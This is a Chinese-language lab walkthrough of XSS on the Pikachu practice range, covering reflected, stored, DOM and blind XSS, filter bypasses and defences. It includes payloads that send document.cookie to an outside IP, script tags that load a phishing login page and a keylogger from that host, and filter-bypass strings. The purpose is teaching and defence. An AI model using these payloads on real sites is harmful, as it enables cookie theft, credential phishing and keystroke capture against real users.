一、概述

XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理，导致"精心构造"的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上，一般会采用"对输入进行过滤"和"输出进行转义"的方式进行处理:

输入过滤：对输入进行过滤，不允许可能导致XSS攻击的字符输入;

输出转义：根据输出点的位置对输出到前端的内容进行适当转义;

分类：1. 反射型XSS

2. 存储型XSS

3. DOM型XSS

 

 

二、反射型XSS（get方式）：
2.1 漏洞利用

第一步：前端设置，查看页面源代码把长度20设置长一点方便输入语句

第二步：输入<script>alert(1)</script>

get形式的XSS会生成相应的url是比较好利用的一种漏洞

 

 

2.2反射型XSS(get)方式的案例演示：盗取用户cookie

本实验用的攻击服务器（收集cookie的后台）是我个人的阿里云ecs服务器（也可以另开一个虚拟机模拟攻击者）。模拟存在XSS漏洞的是我的主机（按模拟真实情况来说是相反的，但是因为服务器是linux，用win比较方便改文件，所以使用主机部署存在XSS的网站）。

 

第一步：首先将pikachu的后台文件放在云上：注意修改配置文件连接数据库

下图就是攻击者（公网服务器端）登陆后台界面

第二步：获得ｃｏｏｋｉｅ的文件最后加一个重定向，直接返回到网站的初始界面，这样就在用户不留意的时候完成了盗取：

第三步：在存在XSS漏洞胡网页构造链接：<script>document.location='http://101.200.56.135/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

注意把最大长度变一下：

我们可能会看到这样的网页，但是没关系，这是浏览器在防火墙（现在安全防护意识还是很高的尤其谷歌），可以关闭谷歌的防护或者用低等级的浏览器。但是最后这个链接是可以用的：

第四步：假设用户被我骗了点进这个链接，会发现直接跳到了我重定向的网站。

用户可能处于懵逼：

 第六步：我的后台实际上就接收到了用户的cookie信息：

然后就能用cookie做一些坏事达成攻击者的目的。

   

 

三、反射型XSS（POST）

3.1 漏洞利用

登陆之后，输入 

<script>alert('xss')</script> 

我们看到post的XSS漏洞并不会在url中显示

   

3.2反射XSS（POST）漏洞利用演示：

思路：

我们需要自己搭一个恶意站点，然后在网站上放一个post表单将存放POST表单的链接发送给受害者，诱导受害者点击这个POST表单会自动向漏洞服务器提交一个POST请求，实现受害者帮我们提交POST请求的目的

 

第一步：在恶意站点中修改服务器地址

上面是存在XSS漏洞的地址，下面是提交cookie的后台地址。

恶意页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面

   

第二步：页面可以放到攻击者的服务器上：

这里我依然使用自己的服务器搭建恶意站点，下图是wdcp管理面板

 

第三步：受害者访问

这样我们只要骗受害者访问101.200.56.135/post.html就能拿到他的cookie，并且返回重定向的页面，也就是网站的首页面（注意，这里受害者在XSS漏洞那必须是登陆状态才可以拿到cookie）：

 

第四步：点进去之后成功返回，然后查看后台：拿到了cookie数据

   

 

四、存储型XSS

4.1 漏洞利用

这一类XSS漏洞危害较大，会存储到数据库中，每次刷新都会执行；

<script>alert("xss")</script>

   

4.2利用存储型XSS漏洞制作钓鱼演示：

第一步：把访问制作的basic认证界面语句插入后台<script src="http://101.200.56.135/pkxss/xfish/fish.php"></script>

然后就会出现认证界面

   

第二步：我们在认证界面的代码中添加自己的地址：

   

第三步：假设这个受害者在没有防护意识的情况下输入用户名密码

第四步：我们在后台查看 已经有相应的结果

   

4.3利用存储型XSS漏洞进行键盘记录演示：

第一步：将获得的键盘值发送到后台ip：

   

第二步：然后设置允许被跨域访问（这里涉及跨域问题和同源策略）

   

第三步：之后在存在存储型XSS的网站插入代码

<script src= "http://101.200.56.135/pkxss/rkeypress/rk.js"></script>

插入后就访问了我们的后台获取键盘值的后台ｊｓ文件

 

第四步：当用户键入，然后可以在后台查看

 

   

   

五、dom型XSS：

参考链接：https://www.w3school.com.cn/htmldom/index.asp

漏洞利用：

dom是前端的操作，查看源码：

这里有段JS代码，它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str， 然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中

我们可以构造闭合的语句：ａ' onclick="alert('xss')">：

   

   

六、Dom型XSS-x：

我们直接看源码：这次是直接在url中:

这种危害就会大很多，从ｕｒｌ中获得有点和反射型ｘｓｓ类似：

构造闭合语句：ａ' onclick="alert('xss')">

   

   

七、XSS盲打：

是属于xss漏洞的一种场景，和存储型xss类似。也可以作为一种尝试，因为很可能后台会过滤掉。

漏洞利用：

输入：<script>alert('xss')</script>

然后在admin_login.php中登录后台发现已经存储国xss代码：

   

 

八、XSS过滤：

几种XSS绕过的姿势：

１.直接ｆ１２修改前端的限制，例如长度。

２.大小写混合：<SCRIpt>ALErt(11)<SCRipt>

３.拼凑:<scr<script>ipt>alert(11)</sc<script>ript>

４.注释符：<scr<!--text-->ipt>alert(11)</sc<!--text-->ript>

还有一种编码的方式，但是在使用时要注意是否会被输出点识别和执行，不然绕过了也没有用。

方法有很多，这只是几种。

   

九、XSS的htmlspecialchars

这个可以对特殊字符进行编码，即预定义的字符是 & " ' < > 这五个，转化为 &#xxx的形式。虽然使用了htmlspecialchars进行处理,但是htmlspecialchars默认形式不对单引号处理：

所以可以使用单引号闭合：' onclick='alert(111)'

   

   

十、XSS防范

输入做过滤输出做转义

过滤：根据业务需求进行过滤，比如输入点要求输入手机号，则只允许输入手机号格式的数字。

转义：所有输出到前端的数据都根据输出点进行转义，比如输出到html中进行html实体转义，输入到JS里进行JS转义。

 

10.1 herf输出：
查看源码，这次htmlspecialchars函数使用了ENT_QUOTES类，也加上了对单引号的转义，但是在a标签的href属性里面,可以使用javascript协议来执行js

于是：javascript:alert(1111)

所以在ｈｒｅｆ的输出最安全的防范措施就如作者所说：只允许http,https,其次在进行htmlspecialchars处理

   

   

10.2 js输出：

观察源码

 只要闭合语句即可：</script>'<script>alert("111")</script>

这里的防范不适宜用实体编码的方式，就是上面那个函数，因为虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。

所以正确的防护应该在JS的输出点应该使用\对特殊字符进行转义。

   

   

   

以上：实验演示有三个

反射性XSS获取cookie

存储型xss制作钓鱼

存储性xss读取键盘

模拟攻击者：阿里云ecs个人服务器

模拟受害者：个人主机